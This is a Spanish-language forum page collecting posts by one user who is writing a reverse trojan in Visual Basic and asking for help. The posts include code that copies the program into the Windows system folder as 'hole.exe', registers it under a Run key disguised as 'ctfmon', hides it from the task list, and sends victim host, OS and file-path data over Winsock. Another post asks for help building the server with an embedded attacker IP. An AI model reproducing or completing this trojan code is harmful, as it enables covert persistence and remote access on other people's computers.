Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - 50l3r

#361
Veran, como algunos ya saben estoy haciendo un troyano inverso, chiquitin y de bolsillo, y ahora me planteo esta duda

yo ya tengo creado el servidor y el cliente, y quiero que el cliente tenga la funcion de crear el servidor:

* primero que te diga a que ip quiere q se conecte el servidor
* despues que cree el .exe

me podriais ayudar a hacerlo? asi cuando ya lo haya acabado podre postearlo para descargar ya que si el server usa mi ip, los que pasen el server a futuras personas todas se conectarian a mi

gracias
#362
joe e camionero de la m30 ese si que es bueno jaja

una vespa bien mirada.... ::)
#363
esa pàrte es la que he tenido que copiar ya que me daba muchos errores

estoy haciendo una obtencion de una shell remota, ya que me dio la idea al ver en el manual que poniendo tu paint, le ejecutabas el paint jeje, y se me ocurrio asi hacer una shell remota, lo unico copiado es este trozo, el que tengo que copiar y poner en el registro...etc

como seria con una api

sorry por mi escasa habilidad con vb, he empezado hace pocos dias

-------------------------------

edito, antes del filecopy he puesto un msbox y este es su resultado



y justo despues, aqui el error



----------------------

reedito de nuevo, al compilar ahora me deja, antes nose porque no, pero ahora si
#364
veran, estoy siguiendo un tutorial que anda por aqui sobre como crear un troyano, pero le estoy haciendo a m manera tomando alguna idea del manual

El error se me genera al copiar un archivo que se aloja en una variable, aqui esta el code:

Private Sub Form_Load()
Dim ip As String, port As Integer
Dim dioxis As String
Dim win, sys, residencia

ip = "192.168.6.100"
port = 666
dioxis = App.Path

ip = wsk.RemoteHost
port = wsk.RemotePort

If Right(dioxis, 1) <> "\" Then dioxis = dioxis & "\"
dioxis = dioxis & App.EXEName & ".exe"

Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)

win = LCase(win)
sys = LCase(sys)

FileCopy dioxis, sys & "\hole"
Name sys & "\hole" As sys & "\hole.exe"

Set residencia = CreateObject("WScript.Shell")

residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "ctfmon", sys & "\hole.exe"



App.TaskVisible = False
End Sub


he revisado y rerevisado el codigo pero no encuentro el error
#365
ok, gracias, voy a averiguar el porque

hare lo que me has dicho blackzero+ lo imprimire de forma local en un textbox, luego de manera remota y despues si funciona bien, lo pasare a el control correspondiente, haber si me funciona

sino debere pasar los path de directorios y ficheros del cliente a otro formato para poder enviarlos ya que me han dicho que los drivelist, dirlist y filelist no se pueden enviar

es eso verdad?
#366
ya me lei el de aprenda vb como si estuviera en primero pero ni siquiera toca controles winsock

me estoy leyendo manuales de todos lados antes de preguntar, no creo que por que pregunte haga daño

CitarEl error sucede por que no existe la ruta que pones desde el server en el cliente

aqui que te refieres, a que no hay un drivelist,dirlist y filelist con ese nombre? si,si lo hay, el error esta en otro lado, nose si te referiras a eso

gracias por tu ayuda
#367
si, ahora mismo uso este que me dijeron %)% que no creo que se use jeje

la informacion que me es mandada va desde el cliente al servidor

por cierto, estoy intentando hacer esto

creo en el cliente un filelist un drivelist y un dirlist y les conecto los 3, y luego intento mandarlos asi:

Private Sub Command1_Click()
Dim datos As String
datos = txthst & "%)%" & txtso & "%)%" & drv.Drive & "%)%" & Dir.Path & "%)%" & file.Path
wsk.SendData datos
End Sub


luego despues en el servidor se reciben asi:

Private Sub wsk_dataarrival(ByVal bytestotal As Long)
Dim datos As String
Dim trozos() As String
wsk.GetData datos
trozos = Split(datos, "%)%")
txthst = trozos(0)
txtso = trozos(1)
[b]drv.Drive = trozos(2)
Dir.Path = trozos(3)
File.Path = trozos(3)[/b]
End Sub


en el server he llamado a los objetos igual que en el cliente, y al asociarlos con los datos enviados del drv.drive, dir.path y file.path me pasa esto:

#368
Bueno, excuso este doble post debido a que encontre la respuesta, asi ayudare mas a otras futuras dudas:

Para poder obtener los datos, necesitas separarlos, el cliente debe de mandar los datos con algun caracter separador, por ejemplo "--" de manera que los datos lleguen asi:

dato1--dato2--dato3

luego con la funcion split(datos, "--")

los separas y obtienes arrays, el primer dato es el array 0 y asi sucesivamente

un ejemplo:

Private Sub wsk_dataarrival(ByVal bytestotal As Long)
Dim datos As String
Dim trozos() As String
wsk.GetData datos
trozos = Split(datos, "%)%")
txt1 = trozos(0)
txt2 = trozos(1)
txt3 = trozos(2)
txt4 = trozos(3)
End Sub
#369
este es mi codigo por ahora, este es el servidor:

Private Sub cdmescuchar_Click()
wsk.Close
wsk.Listen
lblstatus.Caption = "Escuchando..."
End Sub

Private Sub cmdcerrar_Click()
wsk.Close
lblstatus.Caption = "Apagado"
End Sub

Private Sub Form_Load()
wsk.LocalPort = 666
End Sub

Private Sub wsk_connectionRequest(ByVal requestID As Long)
If MsgBox(wsk.RemoteHostIP & "esta intentando conectarse", vbQuestion + vbYesNo, "Conexion entrante") = vbYes Then
wsk.Close
wsk.Accept requestID
Else
wsk.Close
Call cmdescuchar_click
End If
End Sub


Ahora que tendria que poner un evento, asi?

private Sub wsk_dataarrival(byval bytestotal as long)
'Aqui que tendria que poner?
end sub



lo que pasa es que, te llega la info con el delimitador %)% ok, luego usas split asi:

private sub wsk_dataarrival(byval bytestotal as long)
dim datos as string
Function Split(
   ByVal datos As String,
   Optional ByVal Delimiter As String = "%)%",
   Optional ByVal Limit As Integer = -1,
   Optional ByVal Compare As CompareMethod = CompareMethod.Binary
) As String()
wsk.getdata datos(0)
texip.text = datos(0)

ahi, si la ip fuese el primer dato cortado, me lo daria?
#370
Veran, intento realizar un proyecto que recopile la mayor inforamcion posible del equipo remoto

estoy haciendo un server y un cliente

quiero que,cada dato que me mande, ejemplo, la ip, nombre de host, sistema operativo, me coloque cada cosa en su correspondiente textbox, la ip en un lado, el hostname en otro...etc

la cosa es que yo se coger los datos con el data arrival, pero como hago para que cada dato vaya a su textbox correspondiente? ya que todo llega de sopetón


gracias, me ayudariais mucho si me lo dijeseis